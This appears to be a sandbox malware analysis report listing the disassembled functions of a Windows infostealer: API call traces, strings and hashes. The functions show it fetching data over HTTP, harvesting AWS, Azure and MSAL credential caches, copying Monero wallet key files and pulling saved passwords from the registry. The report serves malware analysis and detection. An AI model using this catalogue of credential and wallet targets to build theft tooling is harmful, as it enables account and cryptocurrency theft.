Function 00EE6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EFA7E6

Part of subcall function 00EE47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00EE4839
Part of subcall function 00EE47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00EE4849

Part of subcall function 00EFA740: lstrcpy.KERNEL32(00F00E17,00000000), ref: 00EFA788

InternetOpenA.WININET(00F00DFE,00000001,00000000,00000000,00000000), ref: 00EE62E1
StrCmpCA.SHLWAPI(?,0175E560), ref: 00EE6303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00EE6335
HttpOpenRequestA.WININET(00000000,GET,?,0175D838,00000000,00000000,00400100,00000000), ref: 00EE6385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00EE63BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00EE63D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00EE63FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00EE646D
InternetCloseHandle.WININET(00000000), ref: 00EE64EF
InternetCloseHandle.WININET(00000000), ref: 00EE64F9
InternetCloseHandle.WININET(00000000), ref: 00EE6503

Strings

GET, xrefs: 00EE637C
ERROR, xrefs: 00EE6407
ERROR, xrefs: 00EE64C9

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: afbfaa8a27ecde59c43b54499881635c2ce892ea393e703f23ad8e59bde6152f
Instruction ID: 5e213b533e77632ecaa8f175bfeb7de51e67d2a521504ea965670938bfdb7a9e
Opcode Fuzzy Hash: afbfaa8a27ecde59c43b54499881635c2ce892ea393e703f23ad8e59bde6152f
Instruction Fuzzy Hash: A0713A71A0025CABDB24DFA0DC49BEE77B8BB44700F1091A9F60A7B5C4DBB46A85CF51

Function 00EF5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00EFA820: lstrlen.KERNEL32(00EE4F05,?,?,00EE4F05,00F00DDE), ref: 00EFA82B
Part of subcall function 00EFA820: lstrcpy.KERNEL32(00F00DDE,00000000), ref: 00EFA885

Part of subcall function 00EFA740: lstrcpy.KERNEL32(00F00E17,00000000), ref: 00EFA788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00EF5644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00EF56A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00EF5857

Part of subcall function 00EFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EFA7E6

Part of subcall function 00EF51F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00EF5228

Part of subcall function 00EFA8A0: lstrcpy.KERNEL32(?,00F00E17), ref: 00EFA905

Part of subcall function 00EF52C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00EF5318
Part of subcall function 00EF52C0: lstrlen.KERNEL32(00000000), ref: 00EF532F
Part of subcall function 00EF52C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00EF5364
Part of subcall function 00EF52C0: lstrlen.KERNEL32(00000000), ref: 00EF5383
Part of subcall function 00EF52C0: lstrlen.KERNEL32(00000000), ref: 00EF53AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00EF578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00EF5940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00EF5A0C
Sleep.KERNEL32(0000EA60), ref: 00EF5A1B

Strings

ERROR, xrefs: 00EF5849
ERROR, xrefs: 00EF5636
ERROR, xrefs: 00EF5932
ERROR, xrefs: 00EF59FE
ERROR, xrefs: 00EF577D
ERROR, xrefs: 00EF5693

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 05fcb8af933401f52d8563a8907988996b0d5c50216ca5214cb5364a4b05af42
Instruction ID: 5ddbd443e907ff43acadeaf5e490e122b70e0047ea521060148079095937c4b5
Opcode Fuzzy Hash: 05fcb8af933401f52d8563a8907988996b0d5c50216ca5214cb5364a4b05af42
Instruction Fuzzy Hash: 98E184B291010CAACB18FBA0E856DFD73B8AF54340F449138F61A77095EF746A59CB92

Function 00EF4D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EF8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00EF8E0B

lstrcat.KERNEL32(?,00000000), ref: 00EF4DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00EF4DCD

Part of subcall function 00EF4910: wsprintfA.USER32 ref: 00EF492C
Part of subcall function 00EF4910: FindFirstFileA.KERNEL32(?,?), ref: 00EF4943

lstrcat.KERNEL32(?,00000000), ref: 00EF4E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00EF4E59

Part of subcall function 00EF4910: StrCmpCA.SHLWAPI(?,00F00FDC), ref: 00EF4971
Part of subcall function 00EF4910: StrCmpCA.SHLWAPI(?,00F00FE0), ref: 00EF4987
Part of subcall function 00EF4910: FindNextFileA.KERNEL32(000000FF,?), ref: 00EF4B7D
Part of subcall function 00EF4910: FindClose.KERNEL32(000000FF), ref: 00EF4B92

lstrcat.KERNEL32(?,00000000), ref: 00EF4EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00EF4EE5

Part of subcall function 00EF4910: wsprintfA.USER32 ref: 00EF49B0
Part of subcall function 00EF4910: StrCmpCA.SHLWAPI(?,00F008D2), ref: 00EF49C5
Part of subcall function 00EF4910: wsprintfA.USER32 ref: 00EF49E2
Part of subcall function 00EF4910: PathMatchSpecA.SHLWAPI(?,?), ref: 00EF4A1E
Part of subcall function 00EF4910: lstrcat.KERNEL32(?,0175E520), ref: 00EF4A4A
Part of subcall function 00EF4910: lstrcat.KERNEL32(?,00F00FF8), ref: 00EF4A5C
Part of subcall function 00EF4910: lstrcat.KERNEL32(?,?), ref: 00EF4A70
Part of subcall function 00EF4910: lstrcat.KERNEL32(?,00F00FFC), ref: 00EF4A82
Part of subcall function 00EF4910: lstrcat.KERNEL32(?,?), ref: 00EF4A96
Part of subcall function 00EF4910: CopyFileA.KERNEL32(?,?,00000001), ref: 00EF4AAC
Part of subcall function 00EF4910: DeleteFileA.KERNEL32(?), ref: 00EF4B31

Strings

\.aws\, xrefs: 00EF4E4D
Azure\.azure, xrefs: 00EF4DD3
\.azure\, xrefs: 00EF4DC1
Azure\.IdentityService, xrefs: 00EF4EEB
*.*, xrefs: 00EF4E64
\.IdentityService\, xrefs: 00EF4ED9
msal.cache, xrefs: 00EF4EF0
Azure\.aws, xrefs: 00EF4E5F
*.*, xrefs: 00EF4DD8

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: aad7a08c0115df03ce2e2ecd49bd921682ae22457b0c884f2fd8890a880ab678
Instruction ID: bc81ef905ceca80522e9650844953ef4f3b3dbb614234fccb9fbb6e72e3cecc8
Opcode Fuzzy Hash: aad7a08c0115df03ce2e2ecd49bd921682ae22457b0c884f2fd8890a880ab678
Instruction Fuzzy Hash: 0B41B5BA94020867DB24F770EC47FED3778AB64700F0045A4B289760C1EEF49BD99B92

Function 00EE1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EE12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00EE12B4
Part of subcall function 00EE12A0: RtlAllocateHeap.NTDLL(00000000), ref: 00EE12BB
Part of subcall function 00EE12A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00EE12D7
Part of subcall function 00EE12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00EE12F5
Part of subcall function 00EE12A0: RegCloseKey.ADVAPI32(?), ref: 00EE12FF

lstrcat.KERNEL32(?,00000000), ref: 00EE134F
lstrlen.KERNEL32(?), ref: 00EE135C
lstrcat.KERNEL32(?,.keys), ref: 00EE1377

Part of subcall function 00EFA740: lstrcpy.KERNEL32(00F00E17,00000000), ref: 00EFA788

Part of subcall function 00EFA9B0: lstrlen.KERNEL32(?,01758BB0,?,\Monero\wallet.keys,00F00E17), ref: 00EFA9C5
Part of subcall function 00EFA9B0: lstrcpy.KERNEL32(00000000), ref: 00EFAA04
Part of subcall function 00EFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EFAA12

Part of subcall function 00EFA8A0: lstrcpy.KERNEL32(?,00F00E17), ref: 00EFA905

Part of subcall function 00EF8B60: GetSystemTime.KERNEL32(00F00E1A,01759C68,00F005AE,?,?,00EE13F9,?,0000001A,00F00E1A,00000000,?,01758BB0,?,\Monero\wallet.keys,00F00E17), ref: 00EF8B86

Part of subcall function 00EFA920: lstrcpy.KERNEL32(00000000,?), ref: 00EFA972
Part of subcall function 00EFA920: lstrcat.KERNEL32(00000000), ref: 00EFA982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00EE1465

Part of subcall function 00EFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EFA7E6

Part of subcall function 00EE99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00EE99EC
Part of subcall function 00EE99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00EE9A11
Part of subcall function 00EE99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00EE9A31
Part of subcall function 00EE99C0: ReadFile.KERNEL32(000000FF,?,00000000,00EE148F,00000000), ref: 00EE9A5A
Part of subcall function 00EE99C0: LocalFree.KERNEL32(00EE148F), ref: 00EE9A90
Part of subcall function 00EE99C0: CloseHandle.KERNEL32(000000FF), ref: 00EE9A9A

DeleteFileA.KERNEL32(00000000), ref: 00EE14EF

Strings

SOFTWARE\monero-project\monero-core, xrefs: 00EE1335
.keys, xrefs: 00EE136B
wallet_path, xrefs: 00EE1330
\Monero\wallet.keys, xrefs: 00EE138D

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: fab1e61f1b547b9bcca883049bc6f704f4ad09b35b5ba1e07861178f567d2b17
Instruction ID: 65632768ac9d6f6201a893b62a198fb95af2fc4120dd62d5587132f63e53b943
Opcode Fuzzy Hash: fab1e61f1b547b9bcca883049bc6f704f4ad09b35b5ba1e07861178f567d2b17
Instruction Fuzzy Hash: 7C5141F291011D57CB29EB60DC96AED73BCAF50300F4451B8B70A76081EE706B89CBA6

Function 00EE75D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EE72D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00EE733A
Part of subcall function 00EE72D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00EE73B1
Part of subcall function 00EE72D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00EE740D
Part of subcall function 00EE72D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00EE7452
Part of subcall function 00EE72D0: HeapFree.KERNEL32(00000000), ref: 00EE7459

lstrcat.KERNEL32(35A8A020,00F017FC), ref: 00EE7606
lstrcat.KERNEL32(35A8A020,00000000), ref: 00EE7648
lstrcat.KERNEL32(35A8A020, : ), ref: 00EE765A
lstrcat.KERNEL32(35A8A020,00000000), ref: 00EE768F
lstrcat.KERNEL32(35A8A020,00F01804), ref: 00EE76A0
lstrcat.KERNEL32(35A8A020,00000000), ref: 00EE76D3
lstrcat.KERNEL32(35A8A020,00F01808), ref: 00EE76ED
task.LIBCPMTD ref: 00EE76FB

Strings

: , xrefs: 00EE764E

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 64827bc4bf517b33b797283991c6a0ad0a12c672f337575b2b49d89dc6d889dd
Instruction ID: c0ccb7b8d1af69d2569df8388f2d4034123bc843f05cad55c5e6babf537f9538
Opcode Fuzzy Hash: 64827bc4bf517b33b797283991c6a0ad0a12c672f337575b2b49d89dc6d889dd
Instruction Fuzzy Hash: 0731387690014DEFCB2CEFA5EC85DFE77B8BF44302B105128E116B7284DA34A996DB51

Function 00EF7500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00EF7542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00EF757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00EF7603
RtlAllocateHeap.NTDLL(00000000), ref: 00EF760A
wsprintfA.USER32 ref: 00EF7640

Part of subcall function 00EFA740: lstrcpy.KERNEL32(00F00E17,00000000), ref: 00EFA788

Strings

\, xrefs: 00EF7560
:, xrefs: 00EF755C
C, xrefs: 00EF754C

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
